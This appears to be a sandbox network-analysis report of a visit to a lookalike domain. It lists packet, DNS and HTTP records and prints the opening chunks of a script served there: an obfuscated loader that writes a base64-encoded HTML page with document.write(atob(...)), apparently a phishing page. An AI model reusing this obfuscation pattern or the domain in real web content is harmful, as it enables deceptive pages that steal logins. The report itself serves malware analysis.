Apr 26, 2024 17:29:58.118123055 CEST	443	49730	142.251.35.228	192.168.2.5
Apr 26, 2024 17:29:58.188796997 CEST	443	49721	142.250.64.164	192.168.2.5
Apr 26, 2024 17:29:58.188867092 CEST	443	49721	142.250.64.164	192.168.2.5
Apr 26, 2024 17:29:58.188936949 CEST	49721	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:29:58.242531061 CEST	49730	443	192.168.2.5	142.251.35.228
Apr 26, 2024 17:29:58.370126009 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:29:58.370157003 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:29:58.370230913 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:29:58.371489048 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:29:58.371505022 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:29:58.493159056 CEST	443	49730	142.251.35.228	192.168.2.5
Apr 26, 2024 17:29:58.493254900 CEST	443	49730	142.251.35.228	192.168.2.5
Apr 26, 2024 17:29:58.493335962 CEST	49730	443	192.168.2.5	142.251.35.228
Apr 26, 2024 17:29:58.564958096 CEST	49730	443	192.168.2.5	142.251.35.228
Apr 26, 2024 17:29:58.564999104 CEST	443	49730	142.251.35.228	192.168.2.5
Apr 26, 2024 17:29:58.685376883 CEST	49721	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:29:58.685452938 CEST	443	49721	142.250.64.164	192.168.2.5
Apr 26, 2024 17:29:58.895555973 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:29:58.895627022 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:29:58.898227930 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:29:58.898236990 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:29:58.898561001 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:29:58.953253984 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.124033928 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.164156914 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466795921 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466830015 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466841936 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466862917 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466873884 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466885090 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466888905 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.466936111 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.466947079 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.466993093 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.467117071 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.467178106 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.467184067 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.467228889 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.467268944 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.984833956 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.984859943 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:01.984874010 CEST	49731	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:01.984879971 CEST	443	49731	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:02.126642942 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:02.126724958 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:02.127139091 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:02.127197027 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 26, 2024 17:30:02.127269030 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:02.128181934 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:02.128216982 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 26, 2024 17:30:02.361445904 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 26, 2024 17:30:02.361463070 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 26, 2024 17:30:02.644079924 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 26, 2024 17:30:02.644171953 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:21.961226940 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 26, 2024 17:30:21.965441942 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 26, 2024 17:30:41.531666040 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:41.531693935 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:41.532012939 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:41.532800913 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:41.532814026 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.060662985 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.060745001 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.063851118 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.063858032 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.064059019 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.071887016 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.112118006 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566612959 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566641092 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566658020 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566709042 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.566725969 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566735983 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566754103 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.566777945 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.566785097 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.566895962 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.571135044 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.571149111 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:42.571161985 CEST	49746	443	192.168.2.5	52.165.165.26
Apr 26, 2024 17:30:42.571166992 CEST	443	49746	52.165.165.26	192.168.2.5
Apr 26, 2024 17:30:49.211427927 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:30:49.211473942 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.211524010 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:30:49.217155933 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:30:49.217173100 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.544841051 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.545078993 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:30:49.545098066 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.545391083 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.548779011 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:30:49.548840046 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.760118008 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:49.760305882 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:30:59.530004025 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:59.530092001 CEST	443	49748	142.250.64.164	192.168.2.5
Apr 26, 2024 17:30:59.530186892 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:31:00.018486023 CEST	49748	443	192.168.2.5	142.250.64.164
Apr 26, 2024 17:31:00.018524885 CEST	443	49748	142.250.64.164	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 17:29:43.797205925 CEST	55372	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:43.797327042 CEST	52876	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:43.880666971 CEST	53	64955	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:43.921811104 CEST	53	58539	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:43.928759098 CEST	53	52876	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:43.980926037 CEST	53	55372	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:44.849198103 CEST	53	58261	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.707946062 CEST	52034	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.708085060 CEST	58643	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.708662987 CEST	54560	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.708806038 CEST	51051	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.709729910 CEST	54241	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.709863901 CEST	61697	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.710418940 CEST	49947	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.710556984 CEST	51219	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:46.834075928 CEST	53	64026	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.834368944 CEST	53	54560	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.834384918 CEST	53	51051	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.834568977 CEST	53	52034	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.835222006 CEST	53	58568	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.835258961 CEST	53	58643	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.835625887 CEST	53	51219	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:46.836272955 CEST	53	49947	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:47.741290092 CEST	54286	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:47.741755962 CEST	56111	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:47.866807938 CEST	53	54286	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:47.867279053 CEST	53	56111	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:47.870259047 CEST	53	49570	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:49.307497978 CEST	53	52100	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:57.534446955 CEST	62933	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:57.534610987 CEST	58299	53	192.168.2.5	1.1.1.1
Apr 26, 2024 17:29:57.660119057 CEST	53	58299	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:57.660135984 CEST	53	62933	1.1.1.1	192.168.2.5
Apr 26, 2024 17:29:58.831454039 CEST	53	64211	1.1.1.1	192.168.2.5
Apr 26, 2024 17:30:01.870038986 CEST	53	57062	1.1.1.1	192.168.2.5
Apr 26, 2024 17:30:03.377125978 CEST	53	64516	1.1.1.1	192.168.2.5
Apr 26, 2024 17:30:24.774780989 CEST	53	56731	1.1.1.1	192.168.2.5
Apr 26, 2024 17:30:44.418358088 CEST	53	55236	1.1.1.1	192.168.2.5
Apr 26, 2024 17:30:49.296241045 CEST	53	49943	1.1.1.1	192.168.2.5
Apr 26, 2024 17:31:14.455219030 CEST	53	63301	1.1.1.1	192.168.2.5
Apr 26, 2024 17:31:59.884581089 CEST	53	51273	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 17:29:43.797205925 CEST	192.168.2.5	1.1.1.1	0xab3	Standard query (0)	pnnacleevaluationemployerform.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:43.797327042 CEST	192.168.2.5	1.1.1.1	0xc3a2	Standard query (0)	pnnacleevaluationemployerform.com	65	IN (0x0001)	false
Apr 26, 2024 17:29:46.707946062 CEST	192.168.2.5	1.1.1.1	0x5000	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.708085060 CEST	192.168.2.5	1.1.1.1	0x6465	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 26, 2024 17:29:46.708662987 CEST	192.168.2.5	1.1.1.1	0x3241	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.708806038 CEST	192.168.2.5	1.1.1.1	0x5e0e	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 26, 2024 17:29:46.709729910 CEST	192.168.2.5	1.1.1.1	0xde9e	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.709863901 CEST	192.168.2.5	1.1.1.1	0x9c2d	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Apr 26, 2024 17:29:46.710418940 CEST	192.168.2.5	1.1.1.1	0x1fa6	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.710556984 CEST	192.168.2.5	1.1.1.1	0xe6b	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 26, 2024 17:29:47.741290092 CEST	192.168.2.5	1.1.1.1	0xe4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:47.741755962 CEST	192.168.2.5	1.1.1.1	0x9200	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 17:29:57.534446955 CEST	192.168.2.5	1.1.1.1	0x4290	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:57.534610987 CEST	192.168.2.5	1.1.1.1	0xb88f	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 17:29:43.980926037 CEST	1.1.1.1	192.168.2.5	0xab3	No error (0)	pnnacleevaluationemployerform.com		198.54.115.192	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.834368944 CEST	1.1.1.1	192.168.2.5	0x3241	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.834368944 CEST	1.1.1.1	192.168.2.5	0x3241	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.834384918 CEST	1.1.1.1	192.168.2.5	0x5e0e	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 26, 2024 17:29:46.834568977 CEST	1.1.1.1	192.168.2.5	0x5000	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.834568977 CEST	1.1.1.1	192.168.2.5	0x5000	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.834568977 CEST	1.1.1.1	192.168.2.5	0x5000	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.834568977 CEST	1.1.1.1	192.168.2.5	0x5000	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.835625887 CEST	1.1.1.1	192.168.2.5	0xe6b	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 26, 2024 17:29:46.835661888 CEST	1.1.1.1	192.168.2.5	0xde9e	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 17:29:46.835716963 CEST	1.1.1.1	192.168.2.5	0x9c2d	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 17:29:46.836272955 CEST	1.1.1.1	192.168.2.5	0x1fa6	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:46.836272955 CEST	1.1.1.1	192.168.2.5	0x1fa6	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:47.866807938 CEST	1.1.1.1	192.168.2.5	0xe4	No error (0)	www.google.com		142.250.64.164	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:47.867279053 CEST	1.1.1.1	192.168.2.5	0x9200	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 17:29:48.013842106 CEST	1.1.1.1	192.168.2.5	0xbb1d	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 17:29:48.013842106 CEST	1.1.1.1	192.168.2.5	0xbb1d	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:48.013842106 CEST	1.1.1.1	192.168.2.5	0xbb1d	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:49.716002941 CEST	1.1.1.1	192.168.2.5	0xce43	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 17:29:49.716002941 CEST	1.1.1.1	192.168.2.5	0xce43	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:49.716002941 CEST	1.1.1.1	192.168.2.5	0xce43	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 26, 2024 17:29:57.660119057 CEST	1.1.1.1	192.168.2.5	0xb88f	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 26, 2024 17:29:57.660135984 CEST	1.1.1.1	192.168.2.5	0x4290	No error (0)	www.google.com		142.251.35.228	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pnnacleevaluationemployerform.com

maxcdn.bootstrapcdn.com

code.jquery.com

cdnjs.cloudflare.com

logincdn.msauth.net

fs.microsoft.com

www.google.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	198.54.115.192	443	6620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 15:29:44 UTC	515	OUT	GET /tellmehow/trost.js HTTP/1.1 Host: pnnacleevaluationemployerform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 15:29:44 UTC	366	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 cache-control: public, max-age=604800 expires: Fri, 03 May 2024 15:29:44 GMT content-type: application/javascript last-modified: Thu, 18 Apr 2024 14:43:36 GMT accept-ranges: bytes content-length: 343849 date: Fri, 26 Apr 2024 15:29:44 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-04-26 15:29:44 UTC	16384	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 61 74 6f 62 28 20 27 50 43 46 6b 62 32 4e 30 65 58 42 6c 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 4e 43 6a 78 6f 5a 57 46 6b 50 67 30 4b 49 43 41 67 49 44 78 7a 59 33 4a 70 63 48 51 67 64 48 6c 77 5a 54 30 69 64 47 56 34 64 43 39 71 59 58 5a 68 63 32 4e 79 61 58 42 30 49 69 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 57 70 68 65 43 35 6e 62 32 39 6e 62 47 56 68 63 47 6c 7a 4c 6d 4e 76 62 53 39 68 61 6d 46 34 4c 32 78 70 59 6e 4d 76 61 6e 46 31 5a 58 4a 35 4c 7a 49 75 4d 69 34 30 4c 32 70 78 64 57 56 79 65 53 35 74 61 57 34 75 61 6e 4d 69 50 6a 77 76 63 32 4e 79 61 58 42 30 50 67 30 4b 49 43 41 67 49 44 78 7a 59 33 4a 70 63 48 51 67 64 Data Ascii: document.write(atob( 'PCFkb2N0eXBlIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQoNCjxoZWFkPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzIuMi40L2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgd
2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 6b 7a 5a 46 64 33 57 6b 4d 32 53 55 31 52 4e 33 70 75 4e 48 4e 59 4d 6a 68 4d 55 45 70 73 4e 79 39 50 4e 55 35 70 52 32 4a 75 62 45 39 57 62 6e 46 78 4e 30 74 42 59 30 4e 46 53 55 52 42 52 31 4a 43 5a 30 52 45 4e 6b 52 55 63 6d 6c 6e 53 32 39 36 61 48 56 51 4d 54 42 4b 62 55 31 36 64 33 56 6e 52 6a 4e 56 51 6c 56 47 55 55 6c 32 55 30 46 43 61 44 6c 42 57 47 68 6a 4d 6d 74 4a 62 6b 4e 7a 51 6d 68 4f 53 47 5a 46 57 6b 5a 6c 57 6d 6c 69 4e 47 56 48 52 6a 41 7a 5a 47 46 49 4d 6d 4e 6a 5a 54 4d 35 4e 56 52 44 4e 6b 35 58 4e 7a 45 33 4e 55 68 68 4d 55 6c 5a 57 46 6f 31 61 33 6b 72 59 58 4e 58 4e 31 59 76 62 6d 49 32 64 46 67 76 62 6e 5a 73 61 79 39 45 56 31 6c 79 4e 45 39 59 4d 57 51 78 4d 58 49 35 4d 30 63 33 63 58 52 6b 52 46 42 36 65 44 52 49 59 6c 42 4f 4e Data Ascii: kzZFd3WkM2SU1RN3puNHNYMjhMUEpsNy9PNU5pR2JubE9WbnFxN0tBY0NFSURBR1JCZ0RENkRUcmlnS296aHVQMTBKbU16d3VnRjNVQlVGUUl2U0FCaDlBWGhjMmtJbkNzQmhOSGZFWkZlWmliNGVHRjAzZGFIMmNjZTM5NVRDNk5XNzE3NUhhMUlZWFo1a3krYXNXN1YvbmI2dFgvbnZsay9EV1lyNE9YMWQxMXI5M0c3cXRkRFB6eDRIYlBON
2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 46 6d 61 56 68 70 63 6e 42 56 62 47 67 32 4e 6d 78 6e 53 6d 34 79 57 58 52 48 63 47 35 30 65 6c 6c 57 5a 58 4a 35 57 58 46 35 61 48 4a 57 61 45 5a 69 52 6d 52 4a 62 7a 52 55 63 30 35 4c 64 31 59 79 62 7a 6c 48 56 31 51 78 63 33 64 54 53 48 4e 72 51 31 42 47 61 53 39 55 4d 6c 6b 35 4d 33 42 6c 52 54 4a 79 55 6d 64 6b 55 6b 5a 56 59 6d 5a 35 63 6e 68 53 5a 56 5a 50 51 33 46 53 4f 55 56 31 54 45 39 35 63 46 68 6c 62 6b 35 4b 54 6a 5a 32 56 30 56 51 54 31 64 30 4d 32 74 79 54 54 6b 79 5a 46 5a 6d 4f 58 55 34 55 33 42 6f 64 45 5a 74 54 53 39 70 63 33 4e 53 61 56 64 58 61 58 4d 7a 61 31 52 6f 4f 58 45 77 63 56 70 52 52 6b 74 7a 52 31 64 34 4e 7a 42 4d 62 47 39 31 62 54 4a 4c 63 47 74 58 63 33 4d 77 65 45 56 36 5a 56 70 46 62 6d 5a 71 51 58 49 77 59 32 68 46 54 Data Ascii: FmaVhpcnBVbGg2NmxnSm4yWXRHcG50ellWZXJ5WXF5aHJWaEZiRmRJbzRUc05Ld1YybzlHV1Qxc3dTSHNrQ1BGaS9UMlk5M3BlRTJyUmdkUkZVYmZ5cnhSZVZPQ3FSOUV1TE95cFhlbk5KTjZ2V0VQT1d0M2tyTTkyZFZmOXU4U3BodEZtTS9pc3NSaVdXaXMza1RoOXEwcVpRRktzR1d4NzBMbG91bTJLcGtXc3MweEV6ZVpFbmZqQXIwY2hFT
2024-04-26 15:29:45 UTC	16336	IN	Data Raw: 63 7a 59 54 42 50 4d 44 46 7a 65 55 63 32 65 46 4a 6f 5a 47 6c 4c 52 58 4a 43 4e 47 52 76 56 44 4a 78 65 6c 42 6c 62 6d 6c 46 59 6a 4e 30 61 48 46 74 62 44 64 7a 56 31 4e 6b 55 6e 45 33 63 6d 59 31 52 6a 5a 4f 56 56 46 59 56 30 74 76 4d 6d 74 61 4f 47 56 51 62 47 74 69 52 6c 64 6b 61 6e 70 43 4e 6c 4a 44 5a 48 64 44 51 56 46 6e 59 30 4a 46 52 55 56 46 57 58 5a 76 63 48 56 76 53 6b 46 54 5a 57 78 33 52 45 4d 32 51 6a 56 6f 64 45 55 7a 51 33 52 61 54 33 56 6f 52 58 5a 4c 53 58 59 72 61 47 6c 5a 59 31 4e 42 5a 6c 64 54 4e 45 70 6a 56 46 4a 35 56 55 4a 72 61 6b 46 77 52 56 5a 4c 64 6c 70 53 57 6a 52 7a 65 48 45 78 56 30 74 50 64 45 68 4d 62 58 56 35 4f 45 74 35 65 47 56 58 63 31 5a 78 54 32 56 76 56 44 5a 35 64 55 6c 6d 4e 32 74 72 4d 7a 42 33 4d 6b 78 44 54 Data Ascii: czYTBPMDFzeUc2eFJoZGlLRXJCNGRvVDJxelBlbmlFYjN0aHFtbDdzV1NkUnE3cmY1RjZOVVFYV0tvMmtaOGVQbGtiRldkanpCNlJDZHdDQVFnY0JFRUVFWXZvcHVvSkFTZWx3REM2QjVodEUzQ3RaT3VoRXZLSXYraGlZY1NBZldTNEpjVFJ5VUJrakFwRVZLdlpSWjRzeHExV0tPdEhMbXV5OEt5eGVXc1ZxT2VvVDZ5dUlmN2trMzB3MkxDT
2024-04-26 15:29:45 UTC	16384	IN	Data Raw: 35 71 61 6a 4e 4b 64 33 41 7a 52 44 64 36 51 31 4a 68 59 6c 42 6d 4d 31 70 47 62 33 5a 34 4b 32 5a 6c 52 6b 4e 43 63 6c 42 36 57 56 4e 5a 4f 54 6c 47 63 55 6b 79 54 31 68 6b 5a 6e 5a 56 5a 6d 59 31 54 45 78 7a 56 47 35 51 4c 32 74 44 5a 6d 74 70 59 32 39 54 51 32 74 44 54 6b 31 6d 64 47 6c 79 51 6d 4a 51 55 57 35 72 57 46 51 31 4b 7a 5a 47 54 32 59 30 61 6c 6b 72 57 6b 4a 71 52 44 45 79 57 48 59 77 55 47 64 77 55 57 70 7a 63 32 68 6f 56 6d 5a 6b 53 57 52 51 52 47 56 4a 4e 6a 5a 69 65 46 5a 4f 4b 31 6b 34 4f 48 6c 69 64 54 42 56 57 54 64 52 61 33 42 35 4e 30 39 75 52 45 51 31 4d 55 51 79 54 56 4e 49 64 6b 39 36 64 69 74 4f 65 47 49 77 4b 32 78 4c 54 48 52 75 63 47 55 34 55 48 42 5a 4d 31 4a 79 57 57 6c 78 64 6d 59 33 52 6a 51 79 57 48 70 50 55 6e 4a 75 64 Data Ascii: 5qajNKd3AzRDd6Q1JhYlBmM1pGb3Z4K2ZlRkNCclB6WVNZOTlGcUkyT1hkZnZVZmY1TExzVG5QL2tDZmtpY29TQ2tDTk1mdGlyQmJQUW5rWFQ1KzZGT2Y0alkrWkJqRDEyWHYwUGdwUWpzc2hoVmZkSWRQRGVJNjZieFZOK1k4OHlidTBVWTdRa3B5N09uREQ1MUQyTVNIdk96ditOeGIwK2xLTHRucGU4UHBZM1JyWWlxdmY3RjQyWHpPUnJud
